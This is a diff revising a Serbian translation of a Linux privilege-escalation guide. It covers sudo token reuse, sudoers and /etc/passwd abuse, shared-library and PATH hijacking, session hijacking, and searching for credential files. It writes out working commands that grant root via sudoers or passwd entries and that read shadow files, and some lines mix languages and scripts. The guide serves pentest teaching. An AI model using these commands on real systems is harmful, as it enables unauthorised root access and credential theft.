sistema. ## Shared Object Hijacking ```bash @@ -928,7 +958,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Sada kada smo pronašli SUID binary koji učitava biblioteku iz direktorijuma u koji možemo pisati, napravimo biblioteku u tom direktorijumu sa potrebnim imenom: +Sada kada smo pronašli SUID binarni fajl koji učitava biblioteku iz direktorijuma u koji možemo pisati, hajde da kreiramo biblioteku u tom direktorijumu sa potrebnim imenom: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -945,13 +975,13 @@ Ako dobijete grešku kao što je ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -to znači da biblioteka koju ste generisali mora da sadrži funkciju nazvanu `a_function_name`. +to znači da biblioteka koju ste generisali treba da sadrži funkciju nazvanu `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) je kurirana lista Unix binarnih fajlova koji se mogu iskoristiti od strane napadača da bi zaobišli lokalna bezbednosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo ubaciti argumente** u komandu. +[**GTFOBins**](https://gtfobins.github.io) je kurirana lista Unix binarnih fajlova koje napadač može iskoristiti da zaobiđe lokalna bezbednosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo ubacivati argumente** u komandu. -Projekat prikuplja legitimne funkcije Unix binarnih fajlova koje se mogu zloupotrebiti da bi se izašlo iz ograničenih shell-ova, eskalirali ili održali povišeni privilegiji, prenosili fajlovi, pokretali bind i reverse shells, i olakšali drugi post-exploitation zadaci. +Projekat prikuplja legitimne funkcije Unix binarnih fajlova koje se mogu zloupotrebiti da se izađe iz ograničenih shell-ova, eskalira ili održi povišene privilegije, prenesu fajlovi, pokrenu bind and reverse shells, i olakšaju drugi post-exploitation zadaci. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -970,60 +1000,61 @@ https://gtfoargs.github.io/ ### FallOfSudo -Ako možete da pokrenete `sudo -l` možete koristiti alat [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) da proverite da li pronalazi način da iskoristi bilo koje sudo pravilo. +Ako možete da pokrenete `sudo -l` možete koristiti alat [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) da proverite da li pronalazi način da eksploatiše bilo koje sudo pravilo. ### Reusing Sudo Tokens -U slučajevima kada imate **sudo access** ali nemate lozinku, možete eskalirati privilegije tako što ćete **sačekati izvršenje sudo komande i zatim oteti session token**. +U slučajevima kada imate **sudo access** ali nemate lozinku, možete eskalirati privilegije tako što ćete **sačekati izvršenje sudo komande i onda presresti session token**. -Zahtevi za eskalaciju privilegija: +Requirements to escalate privileges: -- Već imate shell kao korisnik _sampleuser_ -- _sampleuser_ je **koristio `sudo`** da izvrši nešto u **poslednjih 15mins** (po defaultu to je trajanje sudo tokena koje nam omogućava da koristimo `sudo` bez unošenja lozinke) +- Već imate shell kao korisnik "_sampleuser_" +- "_sampleuser_" je **koristio `sudo`** za izvršenje nečega u **poslednjih 15mins** (po defaultu to je trajanje sudo tokena koje nam omogućava da koristimo `sudo` bez unošenja lozinke) - `cat /proc/sys/kernel/yama/ptrace_scope` je 0 - `gdb` je dostupan (možete ga otpremiti) -(Možete privremeno omogućiti `ptrace_scope` sa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ili trajno modifikovanjem `/etc/sysctl.d/10-ptrace.conf` i postavljanjem `kernel.yama.ptrace_scope = 0`) +(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) -Ako su svi ovi zahtevi ispunjeni, **možete eskalirati privilegije koristeći:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Prvi exploit (`exploit.sh`) će kreirati binarni fajl `activate_sudo_token` u _/tmp_. Možete ga koristiti da **aktivirate sudo token u vašoj sesiji** (nećete automatski dobiti root shell, pokrenite `sudo su`): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Drugi **exploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu root-a sa setuid** +- **drugi exploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu root sa setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **Treći exploit** (`exploit_v3.sh`) će **napraviti sudoers file** koji čini **sudo tokens večnim i omogućava svim korisnicima da koriste sudo** +- **treći exploit** (`exploit_v3.sh`) će **kreirati sudoers file** koji čini **sudo tokens večnim i omogućava svim korisnicima da koriste sudo** ```bash bash exploit_v3.sh sudo su ``` -### /var/run/sudo/ts/ +### /var/run/sudo/ts/\ -Ako imate **write permissions** u folderu ili na bilo kojoj od datoteka kreiranim unutar foldera, možete koristiti binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **create a sudo token for a user and PID**.\ -Na primer, ako možete prepisati fajl _/var/run/sudo/ts/sampleuser_ i imate shell kao taj user sa PID 1234, možete **obtain sudo privileges** bez potrebe да znate lozinku tako što ćete: +Ako imate **dozvole za pisanje** u folderu ili na bilo kojem od fajlova kreiranih unutar foldera možete koristiti binarni fajl [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\ +Na primer, ako možete prepisati fajl _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku radeći: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Fajl `/etc/sudoers` i fajlovi unutar `/etc/sudoers.d` konfigurišu ko može da koristi `sudo` i kako. Ove datoteke **podrazumevano se mogu čitati samo od strane korisnika root i grupe root**.\ -**Ako** možete **pročitati** ovu datoteku, mogli biste dobiti **neke interesantne informacije**, a ako možete **pisati** u bilo koju datoteku bićete u mogućnosti da **eskalirate privilegije**. +Fajl `/etc/sudoers` i fajlovi unutar `/etc/sudoers.d` konfigurišu ko može da koristi `sudo` i kako. +Ovi fajlovi **podrazumevano mogu biti čitani samo od strane korisnika root i grupe root**.\ +**Ako** možete **pročitati** ovaj fajl, mogli biste da **dobijete neke zanimljive informacije**, a ako možete **upisati** bilo koji fajl, moći ćete da **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Ako možeš da pišeš, možeš zloupotrebiti ovu dozvolu. +Ako možeš da pišeš, možeš da zloupotrebiš ovu dozvolu ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Još jedan način zloupotrebe ovih dozvola: +Drugi način zloupotrebe ovih dozvola: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1032,15 +1063,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Postoje neke alternative za binarni fajl `sudo`, kao što je `doas` za OpenBSD; zapamtite da proverite njegovu konfiguraciju u `/etc/doas.conf` +Postoje neke alternative binarnom fajlu `sudo`, kao što je `doas` na OpenBSD; proverite njegovu konfiguraciju u `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Ako znate da se **korisnik se obično povezuje na mašinu i koristi `sudo`** da eskalira privilegije i dobili ste shell u tom korisničkom kontekstu, možete **napraviti novi sudo executable** koji će izvršiti vaš kod kao root, a zatim komandu korisnika. Zatim, **izmenite $PATH** u korisničkom kontekstu (na primer dodavanjem novog puta u .bash_profile) tako da kada korisnik pokrene sudo, vaš sudo executable bude izvršen. +Ako znate da se **korisnik obično povezuje na mašinu i koristi `sudo`** da bi eskalirao privilegije i imate shell u tom korisničkom kontekstu, možete **napraviti novi sudo executable** koji će izvršiti vaš kod kao root, a zatim komandu korisnika. Zatim, **izmenite $PATH** korisničkog konteksta (na primer dodavanjem novog puta u .bash_profile) tako da kada korisnik pokrene sudo, izvrši se vaš sudo executable. -Obratite pažnju da ako korisnik koristi drugačiji shell (ne bash) moraćete da izmenite druge fajlove da biste dodali novi put. Na primer[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) menja `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Drugi primer možete pronaći u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Imajte na umu da ako korisnik koristi drugi shell (ne bash) moraćete izmeniti druge fajlove da dodate novi put. Na primer [sudo-piggyback](https://github.com/APTy/sudo-piggyback) menja `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete naći još jedan primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Ili pokretanjem nečeg poput: ```bash @@ -1061,12 +1092,12 @@ sudo ls ### ld.so -Fajl `/etc/ld.so.conf` označava **odakle dolaze učitane konfiguracione datoteke**. Obično ovaj fajl sadrži sledeću putanju: `include /etc/ld.so.conf.d/*.conf` +Datoteka `/etc/ld.so.conf` navodi **odakle potiču učitane konfiguracione datoteke**. Obično ova datoteka sadrži sledeći unos: `include /etc/ld.so.conf.d/*.conf` -To znači da će konfiguracione datoteke iz `/etc/ld.so.conf.d/*.conf` biti učitane. Te konfiguracione datoteke **pokazuju na druge foldere** u kojima će se **biblioteke** **tražiti**. Na primer, sadržaj `/etc/ld.so.conf.d/libc.conf` je `/usr/local/lib`. **To znači da će sistem tražiti biblioteke u okviru `/usr/local/lib`**. +To znači da će se čitati konfiguracione datoteke iz `/etc/ld.so.conf.d/*.conf`. Ove konfiguracione datoteke **pokazuju na druge foldere** u kojima će se tražiti **biblioteke**. Na primer, sadržaj `/etc/ld.so.conf.d/libc.conf` je `/usr/local/lib`. **To znači da će sistem tražiti biblioteke unutar `/usr/local/lib`**. -Ako iz nekog razloga **korisnik ima dozvolu za pisanje** na bilo kojoj od navedenih putanja: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, bilo kojoj datoteci u okviru `/etc/ld.so.conf.d/` ili bilo kojem folderu koji je naveden u konfiguracionim fajlovima iz `/etc/ld.so.conf.d/*.conf` možda će moći da poveća privilegije.\ -Pogledajte **kako iskoristiti ovu pogrešnu konfiguraciju** na sledećoj stranici: +Ako iz nekog razloga **korisnik ima dozvole za pisanje** na bilo kojoj od navedenih putanja: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, bilo kojoj datoteci unutar `/etc/ld.so.conf.d/` ili bilo kojem folderu navedenom u konfiguracionim datotekama unutar `/etc/ld.so.conf.d/*.conf` on može uspeti da escalate privileges.\ +Pogledajte **how to exploit this misconfiguration** na sledećoj stranici: {{#ref}} @@ -1084,7 +1115,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kopiranjem lib u `/var/tmp/flag15/`, program će ga koristiti na toj lokaciji, kako je navedeno u promenljivoj `RPATH`. +Kopiranjem biblioteke u `/var/tmp/flag15/` ona će biti korišćena od strane programa na ovom mestu, kako je navedeno u promenljivoj `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1108,8 +1139,8 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilities pružaju **podskup dostupnih root privilegija procesu**. Ovo efikasno deli root **privilegije na manje i odvojene jedinice**. Svaka od ovih jedinica može biti nezavisno dodeljena procesima. Na taj način se celokupan skup privilegija smanjuje, čime se umanjuju rizici od exploitatacije.\ -Pročitajte sledeću stranu da biste **saznali više o capabilities i kako ih zloupotrebljavati**: +Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ +Pročitajte sledeću stranu da biste **saznali više o capabilities i kako ih zloupotrebiti**: {{#ref}} @@ -1118,28 +1149,28 @@ linux-capabilities.md ## Directory permissions -U direktorijumu, **bit za "execute"** podrazumeva da pogođeni korisnik može "**cd**" u folder.\ -**Bit "read"** podrazumeva da korisnik može **list** **files**, a **bit "write"** podrazumeva da korisnik može **delete** i **create** nove **files**. +U direktorijumu, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ +The **"read"** bit implies the user can prikazati fajlove u direktorijumu, and the **"write"** bit implies the user can obrisati i kreirati nove fajlove. ## ACLs -Access Control Lists (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposoban da **nadjača tradicionalne ugo/rwx permissions**. Ove dozvole poboljšavaju kontrolu pristupa fajlovima ili direktorijumima tako što omogućavaju ili uskraćuju prava specifičnim korisnicima koji nisu vlasnici niti deo grupe. Ovaj nivo **granularnosti obezbeđuje preciznije upravljanje pristupom**. Dalje informacije mogu se naći [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposoban da **overriding the traditional ugo/rwx permissions**. Ove dozvole omogućavaju bolju kontrolu pristupa fajlovima ili direktorijumima tako što dozvoljavaju ili uskraćuju prava specifičnim korisnicima koji nisu vlasnici niti članovi grupe. Ovaj nivo **granularnosti omogućava preciznije upravljanje pristupom**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Dodeli** korisniku "kali" dozvole za čitanje i pisanje nad fajlom: +**Dodeli** korisniku "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Dobavi** fajlove sa određenim ACLs iz sistema: +**Preuzmi** datoteke sa određenim ACLs iz sistema: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Otvorene shell sessions +## Otvorene shell sesije -U **starijim verzijama** možete **hijack** neku **shell** sesiju drugog korisnika (**root**).\ -U **najnovijim verzijama** moći ćete da se **connect** na screen sessions samo svog **korisnika**. Međutim, možete pronaći **zanimljive informacije unutar sesije**. +U **starijim verzijama** možda možete **hijack** neku **shell** sesiju drugog korisnika (**root**).\ +U **najnovijim verzijama** moći ćete da se **povežete** na screen sessions samo kao **svoj korisnik**. Međutim, možete naći **zanimljive informacije unutar sesije**. ### screen sessions hijacking @@ -1158,9 +1189,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Ovo je bio problem sa **old tmux versions**. Nisam uspeo da hijack-ujem tmux (v2.1) session koji je kreirao root kao neprivilegovan korisnik. +Ovo je bio problem sa **old tmux versions**. Nisam mogao da hijack-ujem tmux (v2.1) sesiju koju je kreirao root kao neprivilegovan korisnik. -**List tmux sessions** +**Prikaži tmux sesije** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1168,7 +1199,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Priključite se sesiji** +**Priključi se na sesiju** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1178,53 +1209,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Check **Valentine box from HTB** za primer. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Svi SSL i SSH ključevi generisani na sistemima zasnovanim na Debianu (Ubuntu, Kubuntu, itd.) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim bagom.\ -Ovaj bag nastaje prilikom kreiranja novog ssh ključa na tim OS-ovima, jer je bilo moguće samo **32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i da, **posedujući ssh public key možete potražiti odgovarajući private key**. Izračunate mogućnosti možete pronaći ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Svi SSL i SSH ključevi generisani na Debian based sistemima (Ubuntu, Kubuntu, etc) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim bagom.\ +Ovaj bag nastaje prilikom kreiranja novog ssh ključa na tim OS-ovima, jer je **bilo moguće samo 32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i da **imajući ssh public key možete potražiti odgovarajući private key**. Možete pronaći izračunate mogućnosti ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Zanimljive vrednosti konfiguracije +### Zanimljive SSH konfiguracione vrednosti -- **PasswordAuthentication:** Specifikuje da li je autentifikacija lozinkom dozvoljena. Podrazumevano je `no`. -- **PubkeyAuthentication:** Specifikuje da li je autentifikacija pomoću javnog ključa dozvoljena. Podrazumevano je `yes`. -- **PermitEmptyPasswords**: Kada je autentifikacija lozinkom dozvoljena, specificira da li server dozvoljava prijavu na naloge sa praznim lozinkama. Podrazumevano je `no`. +- **PasswordAuthentication:** Određuje da li je password authentication dozvoljen. Podrazumevano je `no`. +- **PubkeyAuthentication:** Određuje da li je public key authentication dozvoljen. Podrazumevano je `yes`. +- **PermitEmptyPasswords**: Kada je password authentication dozvoljen, određuje da li server dozvoljava prijavu na naloge sa praznim password stringovima. Podrazumevano je `no`. ### PermitRootLogin -Specifikuje da li se root može prijaviti koristeći ssh, podrazumevano je `no`. Moguće vrednosti: +Određuje da li root može da se prijavi koristeći ssh, podrazumevano je `no`. Moguće vrednosti: -- `yes`: root može da se prijavi koristeći lozinku i private key -- `without-password` ili `prohibit-password`: root se može prijaviti samo pomoću private key -- `forced-commands-only`: Root se može prijaviti samo pomoću private key i samo ako su specificirane opcije commands -- `no`: ne +- `yes`: root može da se prijavi koristeći password i private key +- `without-password` or `prohibit-password`: root može da se prijavi samo uz private key +- `forced-commands-only`: root može da se prijavi samo koristeći private key i ako su specificirane command opcije +- `no` : ne ### AuthorizedKeysFile -Specifikuje fajlove koji sadrže public keys koji mogu da se koriste za korisničku autentifikaciju. Može sadržati tokene poput `%h`, koji će biti zamenjeni home direktorijumom. **Možete navesti apsolutne putanje** (počevši sa `/`) ili **relativne putanje u odnosu na korisnički home**. Na primer: +Određuje fajlove koji sadrže public keys koji se mogu koristiti za user authentication. Može sadržati tokene kao što je `%h`, koji će biti zamenjen home direktorijumom. **Možete navesti apsolutne putanje** (počevši od `/`) ili **relativne putanje u odnosu na korisnikov home**. Na primer: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ta konfiguracija će ukazati da ako pokušate da se prijavite pomoću **private** ključa korisnika "**testusername**", ssh će uporediti javni ključ vašeg ključa sa onima koji se nalaze u `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` +Ta konfiguracija znači da, ako pokušate da se prijavite pomoću **privatnog** ključa korisnika "**testusername**", ssh će uporediti javni ključ vašeg ključa sa onima iz `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding omogućava vam da **koristite svoje lokalne SSH ključeve umesto da ostavljate ključeve** (without passphrases!) na vašem serveru. Dakle, moći ćete da **se povežete** putem ssh **na jedan host** i odatle da **se povežete na drugi** host **koristeći** **ključ** koji se nalazi na vašem **početnom hostu**. +SSH agent forwarding vam omogućava da **koristite svoje lokalne SSH ključeve umesto da ostavljate ključeve** (bez passphrases!) na vašem serveru. Dakle, moći ćete da **povežete** putem ssh **na jedan host** i odatle **pređete na drugi** host **koristeći** **ključ** koji se nalazi na vašem **početnom hostu**. -Treba da postavite ovu opciju u `$HOME/.ssh.config` ovako: +Treba da podesite ovu opciju u `$HOME/.ssh.config` ovako: ``` Host example.com ForwardAgent yes ``` -Obratite pažnju da ako je `Host` podešen na `*`, svaki put kada korisnik pređe na drugu mašinu, ta mašina će moći da pristupi ključevima (što predstavlja bezbednosni problem). +Obratite pažnju da, ako je `Host` `*`, svaki put kada korisnik pređe na drugu mašinu, ta mašina će moći да приступи кључевима (што представља безбедносни проблем). -Fajl `/etc/ssh_config` može **nadjačati** ove **opcije** i dozvoliti ili zabraniti ovu konfiguraciju.\ -Fajl `/etc/sshd_config` može pomoću ključne reči `AllowAgentForwarding` **dozvoliti** ili **zabrani­ti** ssh-agent forwarding (podrazumevano je dozvoljeno). +Фајл `/etc/ssh_config` може да **надјача** ове **опције** и да дозволи или онемогући ову конфигурацију.\ +Фајл `/etc/sshd_config` може да **дозволи** или **онемогући** ssh-agent forwarding помоћу кључне речи `AllowAgentForwarding` (подразумевано је дозволено). -Ako otkrijete da je Forward Agent konfigurisan u okruženju, pročitajte sledeću stranicu jer **možda možete zloupotrebiti to za eskalaciju privilegija**: +Ако откријете да је Forward Agent конфигурисан у окружењу, прочитајте следећу страницу јер **можда ћете то моћи злоупотребити за ескалацију привилегија**: {{#ref}} @@ -1235,34 +1266,34 @@ ssh-forward-agent-exploitation.md ### Fajlovi profila -Fajl `/etc/profile` i fajlovi ispod `/etc/profile.d/` su **skripte koje se izvršavaju kada korisnik pokrene novu shell**. Stoga, ako možete **pisati ili izmeniti bilo koji od njih, možete eskalirati privilegije**. +Фајл `/etc/profile` и фајлови у `/etc/profile.d/` су **скрипте које се извршавају када корисник покрене нови shell**. Дакле, ако можете **уписати или изменити било који од њих, можете ескалирати привилегије**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Ako se pronađe neka čudna skripta profila, treba je proveriti zbog **osetljivih detalja**. +Ako se pronađe neka čudna profil skripta, trebalo bi je proveriti zbog **osetljivih podataka**. -### Datoteke passwd/shadow +### Passwd/Shadow fajlovi -U zavisnosti od OS-a, datoteke `/etc/passwd` i `/etc/shadow` mogu imati drugačije ime ili može postojati backup. Zato se preporučuje da **pronađete sve** i **proverite da li možete da ih pročitate** kako biste videli **da li se u datotekama nalaze hashes**: +U zavisnosti od OS-a, fajlovi `/etc/passwd` i `/etc/shadow` mogu imati drugo ime ili može postojati backup. Zato je preporučljivo **pronaći sve** i **proveriti da li možete da ih pročitate** kako biste videli **da li u njima postoje hashes**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -U nekim slučajevima možete pronaći **hashove lozinki** u fajlu `/etc/passwd` (ili odgovarajućem fajlu) +Ponekad se u fajlu `/etc/passwd` (ili ekvivalentnom) mogu naći **password hashes**. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Upisljiv /etc/passwd +### /etc/passwd sa dozvolom upisa -Prvo, generišite lozinku pomoću jedne od sledećih komandi. +Prvo, generišite lozinku koristeći jednu od sledećih komandi. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Zatim dodajte korisnika `hacker` i unesite generisanu lozinku. +Zatim dodajte korisnika `hacker` i dodajte generisanu lozinku. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1271,33 +1302,33 @@ Npr: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Sada možete koristiti komandu `su` sa `hacker:hacker` Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.\ -UPOZORENJE: ovo može narušiti trenutnu bezbednost mašine. +UPOZORENJE: ovo može narušiti trenutnu sigurnost mašine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` NAPOMENA: Na BSD platformama `/etc/passwd` se nalazi na `/etc/pwd.db` i `/etc/master.passwd`, takođe `/etc/shadow` je preimenovan u `/etc/spwd.db`. -Treba da proverite da li možete da **pišete u neke osetljive fajlove**. Na primer, da li možete da pišete u neki **konfiguracioni fajl servisa**? +Trebate da proverite da li možete da **pišete u neke osetljive fajlove**. Na primer, možete li da pišete u neki **konfiguracioni fajl servisa**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Na primer, ako mašina pokreće **tomcat** server i možete **izmeniti datoteku konfiguracije servisa Tomcat u /etc/systemd/,** onda možete изmeniti linije: +Na пример, ако машина покреће **tomcat** сервер и можете **изменити фајл конфигурације Tomcat сервиса унутар /etc/systemd/,** онда можете изменити линије: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Your backdoor će se izvršiti sledeći put kada se tomcat pokrene. +Vaš backdoor će se izvršiti sledeći put kada se tomcat pokrene. -### Proverite foldere +### Proverite direktorijume -Sledeće fascikle mogu sadržavati backups ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) +Sledeći direktorijumi mogu sadržati rezervne kopije ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Neobična lokacija/Owned files +### Neobična lokacija/Owned fajlovi ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1318,19 +1349,19 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB datoteke +### Sqlite DB fajlovi ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fajlovi +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml datoteke ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### Skriveni fajlovi +### Sakriveni fajlovi ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Skripte/Binarni fajlovi u PATH** +### **Skripte/Binari u PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1346,21 +1377,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Poznate datoteke koje sadrže lozinke +### Poznate datoteke koje sadrže passwords -Pročitajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on pretražuje **nekoliko datoteka koje bi mogle sadržavati lozinke**.\ -**Još jedan zanimljiv alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koja je open-source aplikacija koja služi za izvlačenje velikog broja lozinki pohranjenih na lokalnom računaru za Windows, Linux & Mac. +Pročitajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on pretražuje **nekoliko mogućih datoteka koje bi mogle sadržati passwords**.\ +**Još jedan interesantan alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koja je open source aplikacija koja se koristi za dobijanje velikog broja passwords koji su sačuvani na lokalnom računaru za Windows, Linux & Mac. -### Logovi +### Logs -Ako možete čitati logove, mogli biste pronaći **zanimljive/poverljive informacije u njima**.\ -Što je log čudniji, to će verovatno biti zanimljiviji.\ -Takođe, neki "**bad**" configured (backdoored?) **audit logovi** mogu omogućiti da se **lozinke zapisuju** u njima, kao što je objašnjeno u ovom postu: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Ako možete čitati logs, možda ćete moći da pronađete **zanimljive/poverljive informacije u njima**. Što je logs čudniji, to će verovatno biti zanimljiviji (verovatno).\ +Takođe, neki "**bad**" konfigurisani (backdoored?) **audit logs** mogu omogućiti da se **zabeleže passwords** unutar audit logs, kao što je objašnjeno u ovom postu: 